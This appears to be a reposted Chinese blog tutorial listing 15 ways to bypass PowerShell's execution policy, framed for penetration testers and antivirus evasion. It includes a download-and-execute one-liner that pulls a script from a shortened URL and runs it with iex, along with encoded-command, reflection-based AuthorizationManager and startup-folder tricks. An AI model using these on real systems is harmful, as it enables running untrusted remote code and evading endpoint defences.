15种bypass powershell限制和免杀的手段
2023-5-13 08:12:28 Author: 奶牛安全(查看原文) 阅读量:88 收藏

默认情况下,Windows系统禁止PowerShell执行脚本,这对于渗透测试人员、系统管理员和开发人员来说,可能是一个障碍。在本文中,介绍 15 种无需系统本地管理员权限即可绕过 PowerShell 执行策略的方法。

什么是 PowerShell 执行策略?

PowerShell 执行策略是决定哪种类型的 PowerShell 脚本可以在系统上运行。默认情况下,它设置为Restricted,即禁止。但是,该设置不是安全控制, 只是防止管理员误操作。这就是为什么有这么多绕过方法的原因。

为什么要绕过执行策略?

自动化似乎是从人们那里听到的最常见的反应之一,但下面是 PowerShell 变得如此受管理员、渗透测试人员和黑客欢迎的一些原因。PowerShell 是:

  • Windows 原生
  • 能够调用 Windows API
  • 无需写入磁盘即可运行命令
  • 能够避免被杀毒软件检测到
  • 列入大多数应用程序的白名单
  • 编写开源渗透测试工具

如何查看执行策略

在使用 PowerShell 提供的所有功能之前,黑客可能必须绕过Restricted执行策略。可以使用命令Get-ExectionPolicy查看当前配置。

PS C:> Get-ExecutionPolicy

还值得注意的是,可以在系统的不同级别设置执行策略。要查看它们的列表,请使用以下命令。

Get-ExecutionPolicy -List | Format-Table -AutoSize

实验设置说明

在下面的示例中,使用名为 runme.ps1 的脚本,其中包含以下命令将消息写入控制台:

Write-Host "My voice is my passport, verify me."

当尝试在配置了默认执行策略的系统上执行它时,出现以下错误:

如果当前的政策过于宽松,并且想对其进行更多限制以测试以下技术,请从管理员 PowerShell 控制台运行命令Set-ExecutionPolicy Restricted

绕过 PowerShell 执行策略

1. 将脚本粘贴到交互式 PowerShell 控制台

PowerShell脚本复制并粘贴到交互式控制台中,如下所示。但是,请记住,将受到当前用户权限的限制。

2. 回显脚本并将其通过管道传输到PowerShell标准输入

只需将脚本回显到 PowerShell 标准输入中。此技术不会导致配置更改或需要写入磁盘。

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

3.从文件中读取脚本并通过管道传输到PowerShell标准输入

使用命令行type命令或 PowerShellGet-Content命令从磁盘读取脚本并将其通过管道传输到 PowerShell 标准输入。此技术不会导致配置更改,但需要将脚本写入磁盘。但是,如果试图避免写入磁盘,则可以从网络共享中读取它。

  • Get-Content
Get-Content .runme.ps1 | PowerShell.exe -noprofile -

  • type
TYPE .runme.ps1 | PowerShell.exe -noprofile -

4. 从 URL 下载脚本并使用 Invoke Expression 执行

这项技术可用于从互联网下载 PowerShell 脚本并执行它,而无需写入磁盘。它也不会导致任何配置更改。

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://bit.ly/1kEgbuH')"

5. 使用命令开关

这与通过复制和粘贴执行脚本非常相似,但它可以在没有交互式的情况下完成。这对于简单的脚本执行来说很好,但更复杂的脚本通常会以解析错误告终。此技术不会导致配置更改或需要写入磁盘。

  • 完整命令
Powershell -command "Write-Host 'My voice is my passport, verify me.'"

  • 短命令
Powershell -c "Write-Host 'My voice is my passport, verify me.'"

注意,可以将这些 PowerShell 命令放入批处理文件中,并将它们放入自动运行位置(如所有用户启动文件夹)以帮助提升权限。

6. 使用EncodeCommand开关

这与“命令”开关非常相似,但所有脚本均以 Unicodebase64 编码字符串形式提供。以这种方式编码有助于避免“命令”开关遇到的解析错误。此技术不会导致配置更改或需要写入磁盘。

  • 完整命令
$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

  • 短命令
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA

7.使用Invoke-Command命令

它通常通过交互式 PowerShell 控制台或使用命令开关单行执行,有意思的是,它可对已启用 PowerShell 远程处理的系统执行命令。此技术不会导致配置更改或需要写入磁盘。

invoke-command -scriptblock {Write-Host "My voice is my passport, verify me."}

下面的命令用于从远程计算机获取执行策略并将其应用于本地计算机。

invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force

8.使用调用表达式命令

这是另一个通过交互式 PowerShell 控制台或使用命令开关单行执行的方法。此技术不会导致配置更改或需要写入磁盘。下面列出了一些使用 Invoke-Expression 绕过执行策略的常用方法。

  • 使用 Get-Content 的完整命令
Get-Content .runme.ps1 | Invoke-Expression

  • 使用 Get-Content 的短命令
GC .runme.ps1 | iex

9.使用“Bypass”执行策略标志

当执行脚本时,将绕过执行策略。此技术不会导致配置更改或需要写入磁盘。

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

10.使用“Unrestricted”的执行策略标志

类似“Bypass”标志。但是,当使用此标志时,Microsoft 声明它“加载所有配置文件并运行所有脚本。如果您运行从 Internet 下载的未签名脚本,系统会在运行前提示您获得许可。”  此技术不会导致配置更改或需要写入磁盘。

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

11.使用“Remote-Signed”执行策略标志

创建您的脚本,然后按照 Carlos Perez 编写的教程进行签名。最后,使用以下命令运行它:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1

12. 通过替换 AuthorizationManager 来禁用执行策略

一种新颖的方法, 通过交互式 PowerShell 控制台或使用“命令”开关执行, 用 null 换出“AuthorizationManager”。因此,对于会话的剩余部分,执行策略基本上设置为Unrestricted 。它不会导致持久的配置更改或需要写入磁盘,只对当前会话起作用。

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} 

Disable-ExecutionPolicy .runme.ps1


13. 针对进程设置执行策略

正如在简介中讲到,执行策略可以应用于多个级别, 这包括可以控制的过程。使用这种技术,可以在会话期间将执行策略设置为Unrestricted。此外,它不会导致配置更改,也不需要写入磁盘。

Set-ExecutionPolicy Bypass -Scope Process

14.通过命令对当前用户设置执行策略

此选项类似于进程范围,但设置永久应用于当前用户的环境。此外,它不会导致配置更改,也不需要写入磁盘。

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

15. 通过注册表为 CurrentUser 范围设置执行策略

在此示例中,通过直接修改注册表项来持久更改当前用户环境的执行策略。

HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489444&idx=1&sn=e276bd6de04143fcae12f251fbe9ee96&chksm=fdf97cb1ca8ef5a713856655b8ff9af9258172e33979c47cc15fe6e159515b0dbc0108f2d625#rd
如有侵权请联系:admin#unsafe.sh